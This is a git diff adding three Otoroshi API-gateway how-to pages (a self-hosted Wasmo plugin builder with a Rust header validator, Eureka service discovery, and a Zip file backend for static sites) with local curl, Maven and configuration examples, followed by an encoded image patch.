+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/wasmo-installation.html b/docs/manual/how-to-s/wasmo-installation.html new file mode 100644 index 0000000000..4020dbe5ec --- /dev/null +++ b/docs/manual/how-to-s/wasmo-installation.html @@ -0,0 +1,707 @@ + + + + +Deploy your own Wasmo · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Deploy your own Wasmo

+

Installing Wasmo can be done by following the Getting Started in Wasmo documentation.

+

Tutorial

+ +

After completing these steps you will have a running Otoroshi instance and our owm Wasmo linked together.

+

Before your start

If you already have an up and running otoroshi instance, you can skip the following instructions

+
+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Create a route to expose and protect Wasmo with authentication

+

We are going to use the admin API of Otoroshi to create the route. The configuration of the route is:

+
    +
  • wasmo as name
  • +
  • wasmo.oto.tools as exposed domain
  • +
  • localhost:5001 as target without TLS option enabled
  • +
+

We need to add two more plugins to require the authentication from users and to pass the logged in user to Wasmo. These plugins are named Authentication and Otoroshi Info. token. The Authentication plugin will use an in-memory authentication with one default user (wasm@otoroshi.io/password). The second plugin will be configured with the value of the OTOROSHI_USER_HEADER environment variable.

+

Let’s create the authentication module (if you are interested in how authentication module works, you should read the other tutorials about How to secure an app). The following command creates an in-memory authentication module with an user.

+
curl -X POST "http://otoroshi-api.oto.tools:8080/api/auths" \
+-u "admin-api-apikey-id:admin-api-apikey-secret" \
+-H 'Content-Type: application/json; charset=utf-8' \
+-d @- <<'EOF'
+{
+  "id": "wasmo_in_memory",
+  "type": "basic",
+  "name": "In memory authentication",
+  "desc": "Group of static users",
+  "users": [
+    {
+      "name": "User Otoroshi",
+      "password": "$2a$10$oIf4JkaOsfiypk5ZK8DKOumiNbb2xHMZUkYkuJyuIqMDYnR/zXj9i",
+      "email": "wasm@otoroshi.io"
+    }
+  ],
+  "sessionCookieValues": {
+    "httpOnly": true,
+    "secure": false
+  }
+}
+EOF
+
+

Once created, you can create our route to expose Wasmo.

+
curl -X POST "http://otoroshi-api.oto.tools:8080/api/routes" \
+-H "Content-type: application/json" \
+-u "admin-api-apikey-id:admin-api-apikey-secret" \
+-d @- <<'EOF'
+{
+  "id": "wasmo",
+  "name": "wasmo",
+  "frontend": {
+    "domains": ["wasmo.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "localhost",
+        "port": 5001,
+        "tls": false
+      }
+    ],
+    "load_balancing": {
+      "type": "RoundRobin"
+    }
+  },
+  "plugins": [
+     {
+      "enabled": true,
+      "plugin": "cp:otoroshi.next.plugins.AuthModule",
+      "exclude": [
+        "/plugins",
+        "/wasm/.*"
+      ],
+      "config": {
+        "pass_with_apikey": false,
+        "auth_module": null,
+        "module": "wasmo_in_memory"
+      }
+    },
+    {
+      "enabled": true,
+      "plugin": "cp:otoroshi.next.plugins.ApikeyCalls",
+      "include": [
+        "/plugins",
+        "/wasm/.*"
+      ],
+      "config": {}
+    },
+    {
+      "enabled": true,
+      "plugin": "cp:otoroshi.next.plugins.OtoroshiInfos",
+      "config": {
+        "version": "Latest",
+        "ttl": 30,
+        "header_name": "Otoroshi-User",
+        "algo": {
+          "type": "HSAlgoSettings",
+          "size": 512,
+          "secret": "veryverysecret"
+        }
+      }
+    }
+  ]
+}
+EOF
+
+

Try to access to Wasmo with the new domain: http://wasmo.oto.tools:8080. This should redirect you to the login page of Otoroshi. Enter the credentials of the user: wasm@otoroshi.io/password Congratulations, you now have secured Wasmo.

+

Create a first validator plugin using Wasmo

+

In the previous part, we secured the access to Wasmo. Now, is the time to create your first simple plugin, written in Rust. This plugin will apply a check on the request and ensure that the headers contains the key-value foo:bar.

+
    +
  1. On the right top of the screen, click on the plus icon to create a new plugin
  2. +
  3. Select the Rust language
  4. +
  5. Call it my-first-validator and press the enter key
  6. +
  7. Click on the new plugin called my-first-validator
  8. +
+

Before continuing, let’s explain the different files already present in your plugin.

+
    +
  • types.rs: this file contains all Otoroshi structures that the plugin can receive and respond
  • +
  • lib.rs: this file is the core of your plugin. It must contain at least one function which will be called by Otoroshi when executing the plugin.
  • +
  • Cargo.toml: for each rust package, this file is called its manifest. It is written in the TOML format. It contains metadata that is needed to compile the package. You can read more information about it here
  • +
+

You can write a plugin for different uses cases in Otoroshi: validate an access, transform request or generate a target. In terms of plugin type, you need to change your plugin’s context and reponse types accordingly.

+

Let’s take the example of creating a validator plugin. If we search in the types.rs file, we can found the corresponding types named: WasmAccessValidatorContext and WasmAccessValidatorResponse. These types must be use in the declaration of the main function (named execute in our case).

+
... 
+pub fn execute(Json(context): Json<types::WasmAccessValidatorContext>) -> FnResult<Json<types::WasmAccessValidatorResponse>> {
+  
+}
+
+

With this code, we declare a function named execute, which takes a context of type WasmAccessValidatorContext as parameter, and which returns an object of type WasmAccessValidatorResponse. Now, let’s add the check of the foo header.

+
... 
+pub fn execute(Json(context): Json<types::WasmAccessValidatorContext>) -> FnResult<Json<types::WasmAccessValidatorResponse>> {
+    match context.request.headers.get("foo") {
+        Some(foo) => if foo == "bar" {
+            Ok(Json(types::WasmAccessValidatorResponse { 
+                result: true,
+                error: None
+            }))
+        } else {
+            Ok(Json(types::WasmAccessValidatorResponse { 
+                result: false, 
+                error: Some(types::WasmAccessValidatorError { 
+                    message: format!("{} is not authorized", foo).to_owned(),  
+                    status: 401
+                })  
+            }))
+        },
+        None => Ok(Json(types::WasmAccessValidatorResponse { 
+            result: false, 
+            error: Some(types::WasmAccessValidatorError { 
+                message: "you're not authorized".to_owned(),  
+                status: 401
+            })  
+        }))
+    }
+}
+
+

First, we checked if the foo header is present, otherwise we return an object of type WasmAccessValidatorError. In the other case, we continue by checking its value. In this example, we have used three types, already declared for you in the types.rs file: WasmAccessValidatorResponse, WasmAccessValidatorError and WasmAccessValidatorContext.

+

At this time, the content of your lib.rs file should be:

+
mod types;
+
+use extism_pdk::*;
+
+#[plugin_fn]
+pub fn execute(Json(context): Json<types::WasmAccessValidatorContext>) -> FnResult<Json<types::WasmAccessValidatorResponse>> {
+    match context.request.headers.get("foo") {
+        Some(foo) => if foo == "bar" {
+            Ok(Json(types::WasmAccessValidatorResponse { 
+                result: true,
+                error: None
+            }))
+        } else {
+            Ok(Json(types::WasmAccessValidatorResponse { 
+                result: false, 
+                error: Some(types::WasmAccessValidatorError { 
+                    message: format!("{} is not authorized", foo).to_owned(),  
+                    status: 401
+                })  
+            }))
+        },
+        None => Ok(Json(types::WasmAccessValidatorResponse { 
+            result: false, 
+            error: Some(types::WasmAccessValidatorError { 
+                message: "you're not authorized".to_owned(),  
+                status: 401
+            })  
+        }))
+    }
+}
+
+

Let’s compile this plugin by clicking on the hammer icon at the right top of your screen. Once done, you can try your built plugin directly in the UI. Click on the play button at the right top of your screen, select your plugin and the correct type of the incoming fake context. Once done, click on the run button at the bottom of your screen. This should output an error.

+
{
+    "result": false,
+    "error": {
+        "message": "asd is not authorized",
+        "status": 401
+    }
+}
+
+

Let’s edit the fake input context by adding the exepected foo Header.

+
{
+    "request": {
+        "id": 0,
+        "method": "",
+        "headers": {
+          "foo": "bar"
+        },
+        "cookies"
+        ...
+
+

Resubmit the command. It should pass.

+

Pairing Otoroshi and Wasmo

+

Now that we have our compiled plugin, we have to connect Otoroshi with Wasmo. Let’s navigate to the danger zone, and add the following values in the Wasmo section:

+
    +
  • URL: http://localhost:5001
  • +
  • Apikey id: admin-api-apikey-id
  • +
  • Apikey secret: admin-api-apikey-secret
  • +
  • User(s): *
  • +
  • Token secret:
  • +
+

The User(s) property is used by Wasmo to filter the list of returned plugins (example: wasm@otoroshi.io will only return the list of plugins created by this user).

+

Don’t forget to save the configuration.

+

Create a route using the generated wasm file

+

The last step of our tutorial is to create the route using the validator. Let’s create the route with the following parameters:

+
curl -X POST "http://otoroshi-api.oto.tools:8080/api/routes" \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "id": "wasm-route",
+  "name": "wasm-route",
+  "frontend": {
+    "domains": ["wasm-route.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "localhost",
+        "port": 5001,
+        "tls": false
+      }
+    ],
+    "load_balancing": {
+      "type": "RoundRobin"
+    }
+  },
+  "plugins": [
+     {
+      "plugin": "cp:otoroshi.next.plugins.WasmAccessValidator",
+      "enabled": true,
+      "config": {
+        "compiler_source": "my-first-validator",
+        "functionName": "execute"
+      }
+    }
+  ]
+}
+EOF
+
+

You can validate the creation by navigating to the dashboard

+

Test your route

+

Run the two following commands. The first should show an unauthorized error and the second should conclude this tutorial.

+
curl "http://wasm-route.oto.tools:8080"
+
+

and

+
curl "http://wasm-route.oto.tools:8080" -H "foo:bar"
+
+

Congratulations, you have successfully written your first validator using your own Wasmo.

+ +
+
+ +
+
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/working-with-eureka.html b/docs/manual/how-to-s/working-with-eureka.html new file mode 100644 index 0000000000..9d6a3305ed --- /dev/null +++ b/docs/manual/how-to-s/working-with-eureka.html @@ -0,0 +1,565 @@ + + + + +Working with Eureka · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Working with Eureka

+ +

Eureka is a library of Spring Cloud Netflix, which provides two parts to register and discover services. Generally, the services are applications written with Spring but Eureka also provides a way to communicate in REST. The main goals of Eureka are to allow clients to find and communicate with each other without hard-coding the hostname and port. All services are registered in an Eureka Server.

+

To work with Eureka, Otoroshi has three differents plugins:

+
    +
  • to expose its own Eureka Server instance
  • +
  • to discover an existing Eureka Server instance
  • +
  • to use Eureka application as an Otoroshi target and took advantage of all Otoroshi clients features (load-balancing, rate limiting, etc…)
  • +
+

Let’s cut this tutorial in three parts.

+
    +
  • Create an simple Spring application that we’ll use as an Eureka Client
  • +
  • Deploy an implementation of the Otoroshi Eureka Server (using the Eureka Instance plugin), register eureka clients and expose them using the Internal Eureka Server plugin
  • +
  • Deploy an Netflix Eureka Server and use it in Otoroshi to discover apps using the External Eureka Server plugin.
  • +
+

In this tutorial:

+ +

Download Otoroshi

If you already have an up and running otoroshi instance, you can skip the following instructions

+
+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Create an Otoroshi route with the Internal Eureka Server plugin

Note
+

We’ll supposed that you have an Otoroshi exposed on the 8080 port with the new Otoroshi engine enabled

+

Let’s jump to the routes Otoroshi view and create a new route using the wizard button.

+

Enter the following values in for each step:

+
    +
  1. An Eureka Server instance
  2. +
  3. Choose the first choice : BLANK ROUTE and click on continue
  4. +
  5. As exposed domain, set eureka-server.oto.tools/eureka
  6. +
  7. As Target URL, set http://foo.bar (this value has no importance and will be skip by the Otoroshi Instance plugin)
  8. +
  9. Validate the creation
  10. +
+

Once created, you can hide with the arrow on the right top of the screen the tester view (which is displayed by default after each route creation). In our case, we want to add a new plugin, called Internal Eureka Instance on our feed.

+

Inside the designer view:

+
    +
  1. Search the Eureka Instance in the list of plugins.
  2. +
  3. Add it to the feed by clicking on it
  4. +
  5. Set an eviction timeout at 300 seconds (this configuration is used by Otoroshi to automatically check if an Eureka is up. Otherwise Otoroshi will evict the eureka client from the registry)
  6. +
+

Well done you have set up an Eureka Server. To check the content of an Eureka Server, you can navigate to this link. In all case, none instances or applications are registered, so the registry is currently empty.

+

Create a simple Eureka Client and register it

+

This tutorial has no vocation to teach you how to write an Spring application and it may exists a newer version of this Spring code.

+

For this tutorial, we’ll use the following code which initiates an Eureka Client and defines an Spring REST Controller with only one endpoint. This endpoint will return its own exposed port (this value will be useful to check that the Otoroshi load balancing is right working between the multiples Eureka instances registered).

+

Let’s fast create a Spring project using Spring Initializer. You can use the previous link or directly click on the following link to get the form already filled with the needed dependencies.

+
https://start.spring.io/#!type=maven-project&language=java&platformVersion=2.7.3&packaging=jar&jvmVersion=17&groupId=otoroshi.io&artifactId=eureka-client&name=eureka-client&description=A%20simple%20eureka%20client&packageName=otoroshi.io.eureka-client&dependencies=cloud-eureka,web
+
+

Feel free to change the project metadata for your use case.

+

Once downloaded and uncompressed, let’s ahead and start to delete the application.properties and create an application.yml (if you are more comfortable with an application.properties, keep it)

+
eureka:
+   client:
+      fetch-registry: false # disable the discovery services mechanism for the client
+      serviceUrl:
+         defaultZone: http://eureka-server.oto.tools:8080/eureka
+
+spring:
+   application:
+      name: foo_app
+
+
+

Now, let’s define the simple REST controller to expose the client port.

+

Create a new file, called PortController.java, in the sources folder of your project with the following content.

+
package otoroshi.io.eurekaclient;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.core.env.Environment;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class PortController {
+
+    @Autowired
+    Environment environment;
+
+    @GetMapping("/port")
+    public String index() {
+        return environment.getProperty("local.server.port");
+    }
+}
+
+

This controller is very simple, we just exposed one endpoint /port which returns the port as string. Our client is ready to running.

+

Let’s launch it with the following command:

+
mvn spring-boot:run -Dspring-boot.run.arguments=--server.port=8085
+
Note
+

The port is not required but it will be useful when we will deploy more than one instances in the rest of the tutorial

+

Once the command ran, you can navigate to the eureka server view in the Otoroshi UI. The dashboard should displays one registered app and instance. It should also displays a timer for each application which represents the elapsed time since the last received heartbeat.

+

Let’s define a new route to exposed our registered eureka client.

+
    +
  • Create a new route, named Eureka client, exposed on http://eureka-client.oto.tools:8080 and targeting http://foo.bar
  • +
  • Search and add the Internal Eureka server plugin
  • +
  • Edit the plugin and choose your eureka server and your app (in our case, Eureka Server and FOO_APP respectively)
  • +
  • Save your route
  • +
+

Now try to call the new route.

+
curl 'http://eureka-client.oto.tools:8080/port'
+
+

If everything is working, you should get the port 8085 as the response.The setup is working as expected, but we can improve him by scaling our eureka client.

+

Open a new tab in your terminal and run the following command.

+
mvn spring-boot:run -Dspring-boot.run.arguments=--server.port=8083
+
+

Just wait a few seconds and retry to call your new route.

+
curl 'http://eureka-client.oto.tools:8080/port'
+$ 8082
+curl 'http://eureka-client.oto.tools:8080/port'
+$ 8085
+curl 'http://eureka-client.oto.tools:8080/port'
+$ 8085
+curl 'http://eureka-client.oto.tools:8080/port'
+$ 8082
+
+

The configuration is ready and the setup is working, Otoroshi use all instances of your app to dispatch clients on it.

+

Connect to an external Eureka server

+

Otoroshi has the possibility to discover services by connecting to an Eureka Server.

+

Let’s create a route with an Eureka application as Otoroshi target:

+
    +
  • Create a new blank API route
  • +
  • Search and add the External Eureka Server plugin
  • +
  • Set your eureka URL
  • +
  • Click on Fetch Services button to discover the applications of the Eureka instance
  • +
  • In the appeared selector, choose the application to target
  • +
  • Once the frontend configured, save your route and try to call it.
  • +
+

Well done, you have exposed your Eureka application through the Otoroshi discovery services.

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/how-to-s/zip-backend-plugin.html b/docs/manual/how-to-s/zip-backend-plugin.html new file mode 100644 index 0000000000..8245f68402 --- /dev/null +++ b/docs/manual/how-to-s/zip-backend-plugin.html @@ -0,0 +1,543 @@ + + + + +Quickly expose a website and static files · Otoroshi + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ + + +
+ + + +
+
+

Quickly expose a website and static files

+Route plugins: +
Zip file backend plugin
+
+

Tutorial

+
    +
  1. Before your start
  2. +
  3. Create an archive with HTML and CSS files
  4. +
  5. Use the Zip Backend Plugin
  6. +
+

After completing these steps, you will be able to statically expose any kind of files from an archive.

+

Before your start

If you already have an up and running otoroshi instance, you can skip the following instructions

+
+Set up an Otoroshi + +
+

Let’s start by downloading the latest Otoroshi.

+
curl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'
+
+

then you can run start Otoroshi :

+
java -Dotoroshi.adminPassword=password -jar otoroshi.jar 
+
+

Now you can log into Otoroshi at http://otoroshi.oto.tools:8080 with admin@otoroshi.io/password

+

Create a new route, exposed on http://myservice.oto.tools:8080, which will forward all requests to the mirror https://mirror.otoroshi.io. Each call to this service will returned the body and the headers received by the mirror.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "my-service",
+  "frontend": {
+    "domains": ["myservice.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  }
+}
+EOF
+
+
+

Create an archive with HTML and CSS files

+

Let’s start by creating an archive composed of html and css files.

+

The contents of your index.html file should be likes this:

+
<!DOCTYPE html>
+<html>
+<head>
+  <title>Wasmo plugin</title>
+  <link rel="stylesheet" type="text/css" href="/index.css"/>
+</head>
+<body>
+  <h1>Hello from Wasmo</h1>
+</body>
+</html>
+
+

The contents of your index.css file should be likes this:

+
body {
+  background: #f9b000;
+  display: flex;
+  justify-content: center;
+  align-items: center;
+  height: 100dvh;
+}
+
+h1 {
+  font-size: 3rem;
+  color: #fff;
+}
+
+

Once created, you can create the archive of both.

+
zip bundle.zip index.html index.css
+
+

Use the Zip Backend Plugin

+

Let’s create the route using the Otoroshi admin API. The route content is pretty simple, a few fields about the name and the frontend, and the Zip Backend plugin in the plugins list.

+

Don’t forget to change the default path-to-the-zip-file with your path.

+
curl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \
+-H "Content-type: application/json" \
+-u admin-api-apikey-id:admin-api-apikey-secret \
+-d @- <<'EOF'
+{
+  "name": "demootoroshi",
+  "frontend": {
+    "domains": ["demo-otoroshi.oto.tools"]
+  },
+  "backend": {
+    "targets": [
+      {
+        "hostname": "mirror.otoroshi.io",
+        "port": 443,
+        "tls": true
+      }
+    ]
+  },
+  "plugins": [
+    {
+      "enabled": true,
+      "debug": false,
+      "plugin": "cp:otoroshi.next.plugins.ZipFileBackend",
+      "include": [],
+      "exclude": [],
+      "config": {
+        "url": "file://<path-to-the-zip-file>/bundle.zip",
+        "headers": {},
+        "dir": "./zips",
+        "prefix": null,
+        "ttl": 3600000
+      }
+    }
+  ]
+}
+EOF
+
+

Calling the route in a new browser tab at http://demo-otoroshi.oto.tools:8080/. You should see something like the following image:

+
+

As we can see, the content of the archive is available, our HTML page is served and the CSS, linked into the HTML page, has loaded.

+

You can check this behaviour by calling the following path:

+
curl http://demo-otoroshi.oto.tools:8080/index.css -v
+
+

The result should be like:

+
< HTTP/1.1 200 OK
+< Transfer-Encoding: chunked
+< Content-Type: text/css
+<
+body {
+  background: #f9b000;
+  display: flex;
+  justify-content: center;
+  align-items: center;
+  height: 100dvh;
+}
+
+h1 {
+  font-size: 3rem;
+  color: #fff;
+}
+
+

Congratulations - You have just exposed your first archive. Do not hesitate to expose any type of content.

+ +
+ +
+ +
+
+ +
+ +
+ + + + +
+ +
+
+
+ + + + + + + + + + + + + + + + + + diff --git a/docs/manual/imgs/amazon-ecs.png b/docs/manual/imgs/amazon-ecs.png new file mode 100644 index 0000000000000000000000000000000000000000..360145878221d1b3b73ca318678cba091597e4d8 GIT binary patch literal 22615 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 